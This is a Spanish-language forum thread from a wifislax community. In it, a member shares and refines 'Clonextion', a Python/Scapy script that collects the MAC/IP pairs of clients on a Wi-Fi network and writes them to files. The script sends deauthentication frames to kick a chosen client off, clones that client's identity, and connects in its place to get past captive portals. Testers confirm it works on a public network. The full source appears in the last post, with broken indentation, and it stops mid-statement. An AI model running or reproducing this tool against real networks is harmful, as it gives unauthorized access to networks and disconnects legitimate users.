Seguridad Wireless - Wifi

Suite Seguridad Wireless => Colaboracion y desarrollo de nuestras lives => Mensaje iniciado por: Yulexis en 30-07-2019, 17:19 (Martes)

Título: Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 30-07-2019, 17:19 (Martes)
Saludos.
Acudo a los responsables de wifislax (y a los usuarios también) para que me den su opinión sobre si este script que he realizado pudiera agregarse o no a la distro. Aquí un video del script funcionado.



El principio de funcionamiento es el siguiente:
-   Busca todos AP disponibles.
-   Selecciona el AP que deseas.
-   Obtiene todos los clientes conectados al Punto de acceso seleccionado con sus respectivas MAC/IP.
-   Seleccionas un cliente.
-   Clonas los datos del cliente seleccionado y te conectas al AP.

Como valor agregado también nos muestra todas las interacciones CLIENTES-AP de todas las redes disponibles. Datos que también nos pueden servir para otros ataques.

Está probado en una red WIFI abierta con portal cautivo y aislamiento de cliente (Client Isolation) implementado por lo que los clientes conectados al AP no se pueden comunicar entre ellos.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Vodker en 31-07-2019, 08:10 (Miércoles)
Hombre, lo ideal es poder probar primero el script para poder valorarlo en varios aspectos (por ejemplo, compatibilidad) y un vídeo no es la forma de hacerlo. ¿Has hecho un módulo o está disponible en GitHub?
Supongo que si varios usuarios lo prueban y lo valoran positivamente no debería haber problema en incluirlo.

Saludos.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 02-08-2019, 04:57 (Viernes)
Pues bien, me gustaría probar el script. Si me dices desde donde puedo descargarlo lo pruebo y doy mi opinión. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Hwagm en 02-08-2019, 21:21 (Viernes)
Código: [Seleccionar]
[youtube]xH-7H5o8LjM[/youtube]
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: yojanon en 03-08-2019, 10:40 (Sábado)
Yulexis sin enlace de descarga no se puede valorar solo el video no sirve y es compatible con wifislax
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: radoman29 en 05-08-2019, 12:21 (Lunes)
Saludos.
Acudo a los responsables de wifislax (y a los usuarios también) para que me den su opinión sobre si este script que he realizado pudiera agregarse o no a la distro. Aquí un video del script funcionado.



El principio de funcionamiento es el siguiente:
-   Busca todos AP disponibles.
-   Selecciona el AP que deseas.
-   Obtiene todos los clientes conectados al Punto de acceso seleccionado con sus respectivas MAC/IP.
-   Seleccionas un cliente.
-   Clonas los datos del cliente seleccionado y te conectas al AP.

Como valor agregado también nos muestra todas las interacciones CLIENTES-AP de todas las redes disponibles. Datos que también nos pueden servir para otros ataques.

Está probado en una red WIFI abierta con portal cautivo y aislamiento de cliente (Client Isolation) implementado por lo que los clientes conectados al AP no se pueden comunicar entre ellos.

buenas tardes Yulexis
me gustaria probar el script para poder valorarlo.
 >:( >:( >:( >:( >:( >:( >:( gracias  >:( >:( >:( >:( >:( >:( >:(
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: conc@ en 06-08-2019, 22:45 (Martes)
Hombre estaria bien poder probarlo no solo en cuba.
Si puedes aportar algo mas yulexis seria genial
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 09-08-2019, 15:43 (Viernes)
Saludos. En el video puse un enlace para la descarga del script.
Probarlo y favor de decirme los resultados.  ^-^
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 12-08-2019, 04:19 (Lunes)
Saludos. En el video puse un enlace para la descarga del script.
Probarlo y favor de decirme los resultados.  ^-^

 Hola @Yulexis,

 Descargado el script y probado. Se logra el objetivo, en una red wifi pública con portal cautivo he logrado clonar un cliente y acceder a internet. Al parecer hay algunos problemas de compatibilidad, pues en una de mis PCs da error al intentar escanear las redes disponibles, además de que en otras pruebas no me detectaba los clientes conectados a mi wifi. Pues eso, ahí está mi opinión, espero que USUARIONUEVO valore la posibilidad de en un futuro añadirlo a la distro. Felicitaciones por tu buen trabajo y espero continúes con el proyecto. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 12-08-2019, 14:54 (Lunes)
Saludos.
Gracias por porbarlo y comentar.
El único problema que me ha dado a mi es que en algunas redes no me obtiene el canal.
En qué versíon lo probaste?
En qué país si se puede saber? Esta es una pregunta más bien por curiosidad :D
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 12-08-2019, 22:28 (Lunes)
Saludos.
Gracias por porbarlo y comentar.
El único problema que me ha dado a mi es que en algunas redes no me obtiene el canal.
En qué versíon lo probaste?
En qué país si se puede saber? Esta es una pregunta más bien por curiosidad :D

 Yo lo he probado en la última versión, Wifislax64 2.0. También me dio el error de que no obtiene el canal de algunas redes, pero al saber cual era e introducirlo manualmente no fue un gran problema. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 12-08-2019, 22:51 (Lunes)
Correcto.
Yo no he podido porobarlo en la última versión porque no he podido instalarla.
Al final lo del canal no es muhco problema porque es fácil averiguarlo.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: USUARIONUEVO en 12-08-2019, 22:56 (Lunes)
Lo acabo de lanzar en mi sistema instalado y super hechopolvo , y parece funcionar bien , me salen los canales de los ap y todo bien.

Lo unico que creo de momento , es que el rotulo del nombre es excesivamente grande , y si no lo lanzas en una terminal grandota, las letras salen mal , ademas de que en sistemas por ejemplo como maquinas vituales ,la resolucion puede ser perfectamente 800x600 o 1024x720 ...

Lo he probado con scapy 2.4.3 , por si sirve de algo.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 12-08-2019, 23:24 (Lunes)
Lo unico que creo de momento , es que el rotulo del nombre es excesivamente grande , y si no lo lanzas en una terminal grandota, las letras salen mal , ademas de que en sistemas por ejemplo como maquinas vituales ,la resolucion puede ser perfectamente 800x600 o 1024x720 ...

 En una de mis PCs me pasó eso de que en el nombre salían las letras mal, pero luego se arregló de pronto al abrir la terminal en grande y lanzar el escaneo de redes. por lo demás creo que viene bien, aunque se puede pulir un poco más, pero la idea es buena. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-08-2019, 14:06 (Martes)
Saludos a todos.
El enlace de descarga que puse en el video lo quité. Muchos usuarios me alertaron de lo que me podía pasar y todos ellos tienen razón.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-08-2019, 14:25 (Martes)
Lo acabo de lanzar en mi sistema instalado y super hechopolvo , y parece funcionar bien , me salen los canales de los ap y todo bien.

Lo unico que creo de momento , es que el rotulo del nombre es excesivamente grande , y si no lo lanzas en una terminal grandota, las letras salen mal , ademas de que en sistemas por ejemplo como maquinas vituales ,la resolucion puede ser perfectamente 800x600 o 1024x720 ...

Lo he probado con scapy 2.4.3 , por si sirve de algo.

Tienes razón hermano. Ya me di cuenta del tamañote que le di al encabezado   ;D ^-^ y creo que me dejé llevar mucho por lo bonito. Habrá alguna manera de solucionar esto sin cambiarlo, no se... cambiar el tamaño de la ventana automáticamente al iniciar el script? Esto lo intenté hacer y jamás me salió :(

Por otra parte, me gustaría me dieras tu opinión sobre el funcionamiento, si hay algo mal (a parte de lo del canal que en algunos AP no lo obtiene), si le falta algo. Y sobre todo: Su escencia cumple con las normativas de la distro? Podría incluirse en la próxima? jj, que conste que este es el anhelo de todo el que usa wifislax: tener una herramienta incluida en la distro :D

Saludos.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Vodker en 13-08-2019, 19:28 (Martes)
Probado en varias ocasiones y con dos adaptadores distintos, nunca es capaz de detectar ningún cliente conectado. Por la poca complejidad del uso del script no creo que esté haciendo nada mal, así que supongo que debe ser alguna incompatibilidad con mis trastos.

Saludos.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: conc@ en 13-08-2019, 21:02 (Martes)
Me sucede lo mismo y no detecta clientes ni dentro de mi propia red
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-08-2019, 21:18 (Martes)
Saludos a todos. Y Gracias por probar y valorar el script.

anon77, Vodker y para todos claro

Comentar algo sobre el funcionamiento del script:
Para poder obtener las parejas MAC/IP de los clientes conectados, el script captura los paquetes TCP/IP que es en donde viene esta información. Si los clientes no están generando tráfico (no están accediendo a Internet) el escript no capturará ningún paquete.
Prueben a navegar mientras realizan la captura y me cuentan.

Como bien comenta Vodker, la poca complejidad del uso del script no da para muchos errores humanos.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 13-08-2019, 21:22 (Martes)
Se me olvidaba  ^-^ ^-^: Recuerden de que en caso de que no detecte correctamente el canal del AP, deben de ponerlo manual y que sea el correcto.
De lo contrario no capturará nada.
Para detectar el canal usen alguna de las herramientas que trae wifislax por defecto. Me disculpan los más duchos en la materia por esta aclaración casi sin sentido  ;D.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: yojanon en 15-08-2019, 22:03 (Jueves)
Yulexis una pregunta lo puse en la carpeta de modulos y no fuy capaz de hacerlo funcionar podrias conbertilo  para que cuando lo ponga en la carpeta de modulos funcione
o esplicarme como lo as hecho tu para que funcione en wifislax,y tuyo es .py y en wifislax creo q es zxm
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 16-08-2019, 03:31 (Viernes)
 Hola Yulexis, estuve analizando un poco y opino que estaría muy bien que se le agregara al script la posibilidad de elegir con qué interfaz de red lo quieres utilizar, pues algunos tienen más de una tarjeta de red y no siempre auditan con la primera que detecta el sistema (wlan0). Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: nelsongp en 17-08-2019, 21:39 (Sábado)
Saludos , me pudieran enviar el scrip a mi correo casadelaosa31@gmail.com. muchas gracias
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: nelsongp en 17-08-2019, 22:43 (Sábado)
Saludos , alguien me pudiera enviar el script a mi correo casadelaosa31@gmail.com. muchas gracias
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: yojanon en 21-08-2019, 10:03 (Miércoles)
Hola Yulexis, estuve analizando un poco y opino que estaría muy bien que se le agregara al script la posibilidad de elegir con qué interfaz de red lo quieres utilizar, pues algunos tienen más de una tarjeta de red y no siempre auditan con la primera que detecta el sistema (wlan0). Salu2.
Yulexis eso si que estaria muy bien que detetara todas las  interfaz y poder eligir yo tengo 3
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 21-08-2019, 22:23 (Miércoles)
Saludos a todos.
Ya estoy trabajando en lo de poder seleccionar una de las interfaces de red. Es muy buena idea.
Gracias a todos por darme sus opiniones. Igual ciualquier aporte en código es aceptado  ^-^
A los que no han podido obtener el script les pido disculpas. En un mensaje anterior expliqué la causa por la que retiré el link de descarga.

Nota: Estoy teniendo problemas con la conexión por eso no he podido responder a tiempo. A parte de que laptop me está dando problemas también  :( :( :(
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 22-08-2019, 20:51 (Jueves)
Ya estoy trabajando en lo de poder seleccionar una de las interfaces de red.

 Muchas gracias por responder, me alegra saber que sigues con el proyecto y que estás trabajando en lo de las interfaces.

A los que no han podido obtener el script les pido disculpas. En un mensaje anterior expliqué la causa por la que retiré el link de descarga.

 Aquí dejo un nuevo link para que lo puedan descargar desde Mega:
https://mega.nz/#!714QHKhS!2xqEXWhYC6hq0CW1Nly-Tt8SDGOkLxRG8nPbBxQXXt4

 Si hice mal en ponerlo me escribes y sin problema alguno lo quito. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 22-08-2019, 21:56 (Jueves)
Saludos.
Como ya les dige, estoy teniendo problemas para conectarme al foro. A partir de este momento pueden contactarme por el canal de Youtube alli pondré un código que necesito prueben y me digan cómo funciona. Es para el tema de la selección de una interfaz diferente.
USUARIONUEVO si puedes échale un vistazo. ;D ;D ;D
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 22-08-2019, 21:58 (Jueves)
Ya estoy trabajando en lo de poder seleccionar una de las interfaces de red.

 Muchas gracias por responder, me alegra saber que sigues con el proyecto y que estás trabajando en lo de las interfaces.

A los que no han podido obtener el script les pido disculpas. En un mensaje anterior expliqué la causa por la que retiré el link de descarga.

 Aquí dejo un nuevo link para que lo puedan descargar desde Mega:
https://mega.nz/#!714QHKhS!2xqEXWhYC6hq0CW1Nly-Tt8SDGOkLxRG8nPbBxQXXt4

 Si hice mal en ponerlo me escribes y sin problema alguno lo quito. Salu2.

Bórrale los comentarios que tiene que se me fueron sin querer  ;D ;D ;D ;D ^-^
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 23-08-2019, 00:25 (Viernes)
 Probadas las lineas de código del video en Youtube y funcionando. Si hay algo más que probar solo tienes que decirlo.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 23-08-2019, 18:21 (Viernes)
Si creen que se le puede agregar otra cosa acorde a la función principal del script no duden en sugerirlo.
Cuando le agrege la opción de las interfaces publicaré el código.
Haría falta que otros más prueben el código de Youtube para estar 100% seguro de que no da problemas.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: radoman29 en 26-08-2019, 21:06 (Lunes)
perdona yulexis a mi no me detecta ningun cliente  estoy conectado y navegando.

gracias por tu gran trabajo >:( >:( >:( >:( >:( >:(
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 26-08-2019, 21:58 (Lunes)
Saludos.
Recuerden las condiciones para las que fue diseñada el script.
Al pobre infelíz no le pueden pedir que hackee la NASA  ;D ;D ;D
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 28-08-2019, 20:55 (Miércoles)
Saludos.
Ya he agregado al script la opción de seleccionar la interfaz de red que uno desee.
Estoy achicando un poco el rótulo del título para que la consola no tenga que ser tan grande.
En cuanto acabe lo publico.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Meg@Soft en 29-08-2019, 04:59 (Jueves)
Saludos.
Ya he agregado al script la opción de seleccionar la interfaz de red que uno desee.
Estoy achicando un poco el rótulo del título para que la consola no tenga que ser tan grande.
En cuanto acabe lo publico.

 Pues bien, cuando lo tengas listo avisas para poder probarlo. Salu2.
Título: Re:Un Aporte para la Distro (Clonextion)
Publicado por: Yulexis en 02-09-2019, 18:50 (Lunes)
Saludos.
Este es el script con las siguientes modificaciones:
1- Rótulo del título más pequeño.
2- Posibilidad de seleccionar la interfaz de red deseada.

Probarlo y comentar.

Código: [Seleccionar]
#!/user/bin/env python2
# -*- coding: utf-8 -*-
# programa creado por Yulexis Boza Ramírez
#
##################################################################
#                                                                #
# Versión: 1.1                                                   #
#                                                                #
# Descripción:                                                   #
#   El objetivo de este programa es listar las parejas de MAC/IP #
#   de los clientes conectados los Puntos de Acceso              #
#   WIFI, estemos o no conectados al mismo.                      #
#   No me hago responsable del mal uso que se le pueda dar.      #
#                                                                #
# Requerimientos:                                                #
#   Scapy                                                        #
#   Realizado y testeado en wifislax64.                          #
#                                                                #
# Equipo de realización:                                         #
#   Autor: Yulexis Boza Ramírez                                  #
#   Colaboradores:                                               #
#                                                                #
##################################################################

import sys
from sys import stdout
import os
import signal
from multiprocessing import Process
from scapy.all import *

relleno_azul = chr(27)+"[6;37;44m"
rojo = chr(27)+"[0;31;40m"
verde = chr(27)+"[0;32;40m"
verde_lima = chr(27)+"[1;32;40m"
marron = chr(27)+"[0;33;40m"
azul = chr(27)+"[0;34;40m"
azul_claro1 = chr(27)+"[1;34;40m"
morado = chr(27)+"[0;35;40m"
azul_claro2 = chr(27)+"[1;36;40m"
blanco = chr(27)+"[1;37;40m"
naranja = chr(27)+"[1;31;40m"
gris = chr(27)+"[1;30;40m"

global interfaz
interfaz = ''

global CANAL
CANAL = 0
aps = []

ap_objetivo_ESSID = ''
ap_objetivo_BSSID = ''
ap_objetivo_CANAL = ''


lista_de_interacciones = []
lista_de_mac_ip_clientes = []
archivo_salva = open('mac_ip.txt', 'a+')
archivo_salva.close()

def crea_interfaz_monitor ():
    os.system("clear")
    Titulo ()
    print (verde +  'Seleccione interfaz de red:')
    print ('----------------------------------------------------------------------------')
    print (azul)
    tmp_string = os.popen('ip link|egrep "^[0-9]+"|cut -d ":" -f 2 |awk {"print $1"} |grep -v lo').read();
    tmp_string = tmp_string.strip();

    array_interfaces=[];
    array_interfaces[:]= tmp_string.split("\n");

    i=0
    for i in range(len(array_interfaces)):
print(gris + str(i) + ') ' + azul + array_interfaces[i].strip())
i=i+1

    interfaz_index = (input(azul + ">> " + verde));
    global interfaz
    interfaz = array_interfaces[interfaz_index];
    interfaz = interfaz.strip();

    os.system("clear");
    Titulo ();
   
    interfaz_monitor = "clnxion1"
    esta_en_modo_monitor = os.path.isdir("/sys/class/net/" + interfaz_monitor)
    if not (esta_en_modo_monitor):
    stdout.write (azul + 'Creando interfaz ' + verde + interfaz_monitor + azul +' en modo MONITOR......' + "\b")
    salida = os.system("iw dev " + interfaz + " interface add " + interfaz_monitor + " type monitor")
    if (salida==0):
    time.sleep(0.5)
    print ( azul + '[' + verde + 'OK' + azul + ']')
    print ('')
    stdout.write ( azul + 'Levantando interfaz ' + verde + interfaz_monitor + azul +'......' + "\b")

    sal = os.system("ifconfig " + interfaz_monitor + " up")
    if (salida==0):
    print ( azul + '[' + verde + 'OK' + azul + ']')
    else:
    print ( azul + '[' + rojo + 'NO' + azul + ']')

    time.sleep(0.8)
    else:
    print ('\n' + rojo + '[!] No se ha podido crear la interfaz ' + verde + interfaz_monitor +  rojo + ' en modo monitor.')
    time.sleep(0.8)
    sys.exit(1)
    else:
    print rojo + "[!] Ya existe una interfaz " + verde + interfaz_monitor + rojo + " en modo MONITOR."
    time.sleep(0.8)

def busca_ap(p):
    if ((p.haslayer(Dot11Beacon))):
try:
    datos_de_red = (p[Dot11].addr3 + "  " + str( int(ord(p[Dot11Elt:3].info)) ) + "\t\t" + p[Dot11].info)
except:
    datos_de_red = (p[Dot11].addr3 + "  " + '-' + "\t\t" + p[Dot11].info)
if datos_de_red not in aps:
            aps.append( datos_de_red )
            print (azul + datos_de_red)

def quita_cliente(clienteMAC, apBSSID):
      while True:
        try:
    pkt_death = (RadioTap() / Dot11(type=0, subtype=12, addr1=clienteMAC, addr2=apBSSID, addr3=apBSSID)/ Dot11Deauth(reason=1))
    nada = sendp(pkt_death, iface='clnxion1', count=5, inter=0.2)
        except KeyboardInterrupt:
            break

def channel_hopper():
    while True:
        try:
            channel = random.randrange(1, 13)
            os.system("iw dev clnxion1 set channel %d" % (channel))
            time.sleep(1)
        except KeyboardInterrupt:
            break

def captura (pkt):

  archivo_salva = open('mac_ip.txt', 'a')
  archivo_interacciones = open('interacciones_c_ap.txt','a')

  if pkt.haslayer(Dot11) and pkt.haslayer(Dot11QoS) and pkt.haslayer(LLC) and pkt.haslayer(TCP) and pkt.haslayer(IP) and pkt.haslayer(Raw) and not pkt.haslayer(DNS):
    if opcion == '3':
if pkt.addr2.lower() == ap_objetivo_BSSID.lower():
    mac_dst = pkt.addr1
    ip_dst = pkt[IP].dst
    mac_ip_dst = '{} ( {} )' . format ( mac_dst, ip_dst)

    if mac_ip_dst not in lista_de_mac_ip_clientes:
      lista_de_mac_ip_clientes.append( mac_ip_dst )
      archivo_salva.write(mac_ip_dst + '\n')
      print (azul + mac_ip_dst)

  if ((pkt.haslayer(Dot11ProbeResp))):
if opcion == '5':
    if pkt[Dot11].info is not '':
try:
  canal = str( int(ord(p[Dot11Elt:3].info)) )
except:
  canal = '-'
datos_interaccion = pkt[Dot11].addr1 + ' -> ' + pkt[Dot11].addr2 + ' ( ' + pkt[Dot11].info + ' )'
if datos_interaccion not in lista_de_interacciones:
  lista_de_interacciones.append(datos_interaccion)
  archivo_interacciones.write(datos_interaccion + '\n')
  print (azul + datos_interaccion)

  archivo_salva.close()
  archivo_interacciones.close()


def Iniciar_Sniff ():
  sniff(iface='clnxion1', store=0, prn=captura)

#\_/| ||  |_
# | |_||_ |_

def Titulo ():
  print azul + "     (((0)))"
  print azul + "        |"
  print azul + "      __|__ " + gris + "__    " + azul + " ___  _    ____  ____  ____ " + verde + " __  __ " + azul + " _____  _  ____  ____  "
  print azul + "     |     |" + gris + "  |   " + azul + "║███║║█║  ║████║║████║║████║" + verde + "║██║║██║" + azul + "║█████║║█║║████║║████║ "
  print azul + "  ___|_____|" + gris + "__|__ " + azul + "║█║  ║█║  ║█║║█║║█║║█║║█║"    + verde + "  Yu║█║║█║ " + azul + "  ║█║  ║█║║█║║█║║█║║█║ "
  print azul + "     | 0 0 |" + gris + "X |   " + azul + "║█║  ║█║  ║█║║█║║█║║█║║███║"  + verde + " le║" + azul + "██"+ verde + "║is  " + azul + "║█║  ║█║║█║║█║║█║║█║ "
  print azul + "     | ___ |" + gris + "_ |   " + azul + "║█║  ║█║  ║█║║█║║█║║█║║█║   " + verde + " ║█║║█║ " + azul + "  ║█║  ║█║║█║║█║║█║║█║ "
  print azul + "      \___/" + gris + "__/    " + azul + "║███║║███║║████║║█║║█║║████║" + verde + "║██║║██║" + azul + "  ║█║  ║█║║████║║█║║█║ "
 
  print (       '                                                                         ' + verde + '1.1')
  print (azul + "----------------------------------------------------------------------------\n")

def Menu_Inicio ():

  global proceso_sniff
  interface = 'clnxion1'

  os.system("clear")
  Titulo ()

  i = 0
  archivo_salva = open('mac_ip.txt', 'a+')
  for linea in archivo_salva:
    i = i + 1
  archivo_salva.close()

  j = 0
  archivo_interacciones = open('interacciones_c_ap.txt', 'a+')
  for linea2 in archivo_interacciones:
    j = j + 1
  archivo_interacciones.close()


  global ap_objetivo_ESSID
  global ap_objetivo_BSSID
  global ap_objetivo_CANAL

  print (verde +  'Seleccione opción')
  print ('----------------------------------------------------------------------------')
  print (azul)
  print (verde + '   1)' + azul + ' Escanear redes cercanas ' + '[' + gris + str(len(aps)) + azul + '].')
  print (verde + '   2)' + azul + ' Seleccionar red objetivo:')
  if ap_objetivo_BSSID != '' and ap_objetivo_CANAL != '' and ap_objetivo_ESSID != '':
    print ('      ' + azul + '[ ' + morado + 'CH: '+ gris + ap_objetivo_CANAL + morado + ' BSSID: '+ gris + ap_objetivo_BSSID + morado + ' ESSID: ' + gris + ap_objetivo_ESSID  + azul + ' ]')
  print (verde + '   3)' + azul + ' Obtener clientes conectados' + azul + ' [' + gris + str(len(lista_de_mac_ip_clientes)) + azul + '].')
  print (verde + '   4)' + azul + ' Clonar un cliente.')
  print (gris + '  -----------')
  print (verde + '   5)' + azul + ' Obtener interacciones CLIENTES-AP.')
  print (verde + '   6)' + azul + ' Mostrar interacciones [' + gris + str(j) + azul + '].')
  print (verde + '  -----------')
  print (gris + '   X) Salir.')

  global opcion
  opcion = (raw_input(azul + ">> " + verde))

  if opcion == '1':
  os.system("clear")
  Titulo()
  print (verde + 'Escaneando redes cercanas.' + gris + '                               CTRL+C para detener')
  print (verde + '----------------------------------------------------------------------------')
  global p
  p = Process(target=channel_hopper)
  p.start()

          print (gris + 'BSSID' + "\t\t   " + 'CHANNEL' + "\t" + 'ESSID')

          aps[:]=[]
  sniff(iface='clnxion1', store=0, prn=busca_ap)

  p.terminate()
  Menu_Inicio()

  elif opcion == '2':
  os.system("clear")
  Titulo()
  print (verde + 'Seleccionando red objetivo.' + gris + '                                            <-- X')
  print (verde + '----------------------------------------------------------------------------')
  print (gris + '   BSSID' + "\t      " + 'CHANNEL' + "\t" + 'ESSID')

  i=0
  for nombre_ap in aps:
      i=i+1
      print(verde + str(i) + ') ' + azul + nombre_ap)
  print('')
  print (verde + '----------------------------------------------------------------------------')
  numero_de_ap = (raw_input(azul + "Seleccione >> " + verde))
  if numero_de_ap.lower() == 'x'.lower():
  Menu_Inicio()
  elif int(numero_de_ap) > 0 and int(numero_de_ap)  <= len(aps):
  temp_datos_ap = aps[int(numero_de_ap) -1 ]
  ap_objetivo_BSSID = temp_datos_ap[:17]
  ap_objetivo_CANAL = temp_datos_ap[19:21].strip()
  ap_objetivo_ESSID = temp_datos_ap[22:].strip()

  Menu_Inicio()

  else:
  Menu_Inicio()

  elif opcion == '5':
  archivo_interacciones = open('interacciones_c_ap.txt', 'w')
  archivo_interacciones.close()
  os.system("clear")
  Titulo ()

  p = Process(target=channel_hopper)
  p.start()

  os.system("clear")
  Titulo ()
  print (verde + 'Obteniendo interacciones CLIENTES-AP' + gris + '                             <--- CTRL+C')
  print (verde + '----------------------------------------------------------------------------')
  print ( azul )

  sniff(iface='clnxion1', store=0, prn=captura)

  p.terminate()

  Menu_Inicio()

  elif opcion == '3':
  archivo_salva = open('mac_ip.txt', 'w')
  archivo_salva.close()
  os.system("clear")
  Titulo ()

  if ap_objetivo_BSSID != '' and ap_objetivo_CANAL != '' and ap_objetivo_ESSID != '':

  # ---- Estas lineas son debido a que en unas WIFI no me determina el canal -----------
  if ap_objetivo_CANAL.isdigit():
      os.system("iw %s set channel %s" % (interface, ap_objetivo_CANAL))
  else:
      tmp_canal = raw_input('Solicitando canal no determinado durante el escaneo: ' + verde)

      while not tmp_canal.isdigit():
  tmp_canal = raw_input('Ingrese un canal correcto [1-13]: ' + verde)
      os.system("iw %s set channel %s" % (interface, tmp_canal ))
  # ------------------------------------------------------------------------------------------------
  os.system("clear")
  Titulo ()
  cadena = '<-- CTRL+C'
  temp_ctrol_C = cadena.rjust(75 - len('Obteniendo clientes conectados a "') - len(ap_objetivo_BSSID), " ")
  print (verde + 'Obteniendo clientes conectados a "' + azul + ap_objetivo_BSSID + verde + '"' + gris + temp_ctrol_C)
  print (verde + '----------------------------------------------------------------------------')
  print ( azul )

  sniff(iface='clnxion1', store=0, prn=captura)

  Menu_Inicio()
  else:
  os.system("clear")
  Titulo ()
  print (verde + 'Obteniendo clientes conectados a "' + azul + ap_objetivo_BSSID + verde + '"')
  print (verde + '----------------------------------------------------------------------------')
  print('')
  print (rojo + 'ERROR. Debe de seleccionar un objetivo primero.')
  time.sleep(0.9)
  Menu_Inicio()


  elif opcion == '6':
  os.system("clear")
  Titulo ()
  archivo_interacciones = open('interacciones_c_ap.txt', 'r')

  cadena = '<-- X'
  temp_ctrol_C = cadena.rjust(75 - len('Interacciones obtenidas [ ]') - len(str(j)), " ")
  print (verde + 'Interacciones obtenidas [ ' + azul + str(j) + verde + ' ]' + gris + temp_ctrol_C)
  print (verde + '----------------------------------------------------------------------------')
  i=0
  for linea in archivo_interacciones:
    i=i+1
    print(gris + str(i) + ') ' + azul + linea)

  archivo_interacciones.close()
  print (verde + '----------------------------------------------------------------------------')
  nada = ''
  while nada.lower() != 'x'.lower():
    nada = (raw_input(azul + ">> " + verde))
  Menu_Inicio ()

  elif opcion == '4' :
  archivo_salva = open('mac_ip.txt', 'r')
  os.system("clear")
  Titulo ()
  print (verde + 'Clonando datos de un cliente                                           ' + gris + '<-- X')
  print (azul + '[ ' + morado + 'ESSID: '+ gris + ap_objetivo_ESSID + morado + ' BSSID: ' + gris + ap_objetivo_BSSID + morado + ' CH: '+ gris + ap_objetivo_CANAL + azul + ' ]')
  print (verde + '----------------------------------------------------------------------------')

  lista_de_mac_ip_clientes[:] = []
  i=0
  for linea in archivo_salva:
    lista_de_mac_ip_clientes.append(linea)
    i=i+1
    print('  ' + verde + str(i) + ') ' + azul + linea)

  print (verde + '----------------------------------------------------------------------------')

  numero_de_cliente = (raw_input(azul + "Seleccione cliente >> " + verde))
  if numero_de_cliente.lower() == 'x'.lower():
  Menu_Inicio()
  elif int(numero_de_cliente) > 0 and int(numero_de_cliente) <= len(lista_de_mac_ip_clientes):

  os.system("clear")
  Titulo ()
  mac_cliente = lista_de_mac_ip_clientes[int(numero_de_cliente) - 1][:17]
  ip_cliente = lista_de_mac_ip_clientes[int(numero_de_cliente) - 1][lista_de_mac_ip_clientes[int(numero_de_cliente) - 1].find("(")+2:lista_de_mac_ip_clientes[int(numero_de_cliente) - 1].find(")")-1]

  gateway_cliente = ip_cliente.rsplit(".", 1)

  print (verde + 'Clonando: ' + azul + 'MAC: ' + rojo + mac_cliente + azul + ' IP: ' + rojo + ip_cliente )
  print (verde + '----------------------------------------------------------------------------')
  print ('')

  print (azul + 'Configurando interfaz de red...')
  print (gris)
  estado_error = os.system("nmcli connection delete " + ap_objetivo_ESSID )
  estado_error = os.system("nmcli con add type wifi con-name "+ ap_objetivo_ESSID + " ifname " + interfaz + " ssid " + ap_objetivo_ESSID )
  estado_error = os.system("nmcli connection modify " + ap_objetivo_ESSID + " ipv4.addresses " + ip_cliente + "/24 ipv4.gateway " + gateway_cliente[0] + '.1' + " +ipv4.dns " + "8.8.8.8" + " ipv4.method manual connection.autoconnect false")
  estado_error = os.system("nmcli connection modify --temporary " + ap_objetivo_ESSID + " 802-11-wireless.cloned-mac-address " + mac_cliente)
  estado_error = os.system("nmcli connection down " + ap_objetivo_ESSID + " ; nmcli connection up " + ap_objetivo_ESSID)

  print('')
  print (azul + "Desautenticando cliente...")
  print (gris)
  pkt_death = (RadioTap() / Dot11(type=0, subtype=12, addr1=mac_cliente, addr2=ap_objetivo_BSSID, addr3=ap_objetivo_BSSID)/ Dot11Deauth(reason=1))
  sendp(pkt_death, iface='clnxion1', count=5, inter=0.2)

  print ('')
  print (azul + 'Comprobando conexión a Internet...')
  print (gris)
  estado_error = os.system("ping -c 1 google.com.cu > /dev/null")

  if estado_error == 0:
    print (verde_lima + 'Exelente! Ya puede abir el navegador y comenzar a navegar.')
  else:
    print (rojo + 'Error! No es posible establecer una conexión a Internet.')
    print (rojo + 'Pruebe abrir un sitio web en su navegador.')

  print ('')
  print (verde + '----------------------------------------------------------------------------')
  nada = (raw_input(azul + "Enter para volver al Menú Inicio >> " + verde))

  Menu_Inicio()

  else:
  Menu_Inicio()


  elif opcion.lower() == 'x'.lower() :
